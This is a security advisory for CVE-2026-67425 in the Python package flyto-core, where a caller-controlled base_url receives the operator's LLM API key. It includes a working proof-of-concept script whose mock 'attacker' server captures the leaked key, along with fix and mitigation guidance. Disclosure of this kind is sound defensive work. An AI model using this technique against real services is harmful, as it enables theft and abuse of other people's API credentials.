CVE-2026-67425 is a high-severity (CVSS 8.6) CWE-201 vulnerability in flyto-core. A fix is available for flyto-core — see the affected versions and patch details below.
Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-67425.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-67425 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 397,508 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
flyto-coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
llm.chat reads the operator's provider key from the environment (OPENAI_API_KEY, ANTHROPIC_API_KEY, ...) and sends it in the Authorization: Bearer header to base_url, a parameter the caller controls. base_url is only checked against the SSRF guard, and the guard allows any public host, so pointing base_url at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. ANTHROPIC_API_KEY)" as High.
Affected code
src/core/modules/atomic/llm/chat.py (_call_openai):
base_url = params.get('base_url') # caller-controlled
if base_url:
validate_url_with_env_config(base_url) # SSRF check only; a public attacker host passes
if not api_key:
api_key = os.getenv('OPENAI_API_KEY') # operator's key
...
url = (base_url or "https://api.openai.com/v1").rstrip('/') + "/chat/completions"
headers = {"Authorization": f"Bearer {api_key}"}
await client.post(url, headers=headers, json=payload) # sent to base_url
The same wiring (env key plus caller endpoint) exists in ai.model (which does not even SSRF-check base_url), llm.agent, and vector.connector (QDRANT_API_KEY with a caller url). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.
Reproduction
Save as keyexfil_poc.py, run with PYTHONPATH=src/src python keyexfil_poc.py. It sets an operator key in the environment and points base_url at a local capture server.
#!/usr/bin/env python3
import asyncio
import os
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a"
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # stand-in for the attacker's public host
CAPTURED = {}
class Attacker(BaseHTTPRequestHandler):
def do_POST(self):
CAPTURED["auth"] = self.headers.get("Authorization")
ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln)
b = b'{"choices":[{"message":{"content":"pwned"},"finish_reason":"stop"}],"usage":{"total_tokens":1}}'
self.send_response(200); self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b)
def log_message(self, *a): pass
async def main():
from core.modules.atomic import register_all
from core.modules.registry import ModuleRegistry
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serve_forever, daemon=True).start()
res = await ModuleRegistry.execute("llm.chat", params={
"prompt": "hi", "provider": "openai", "base_url": "http://localhost:8080",
}, context={})
print("module ok:", res.get("ok"))
print("Authorization received by attacker:", CAPTURED.get("auth"))
if __name__ == "__main__":
asyncio.run(main())
Output:
module ok: True
Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a
Confirmed against the running API as well: calling llm.chat with base_url=https://example.com was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.
Impact
Theft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence base_url, which is reachable through the MCP agent surface or the hosted API.
Suggested fix
Only use the environment-derived key with the provider's official endpoint. If the caller supplies a custom base_url, require them to supply the api_key explicitly too, or check base_url against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to ai.model, llm.agent and vector.connector, and add SSRF validation to ai.model's base_url.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | flyto-core | all versions | 2.26.7pip install --upgrade 'flyto-core==2.26.7' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flyto-core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flyto-core to 2.26.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-67425 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Frequently Asked Questions
Is CVE-2026-67425 in your dependencies?
Find it across PyPI, including transitive dependencies.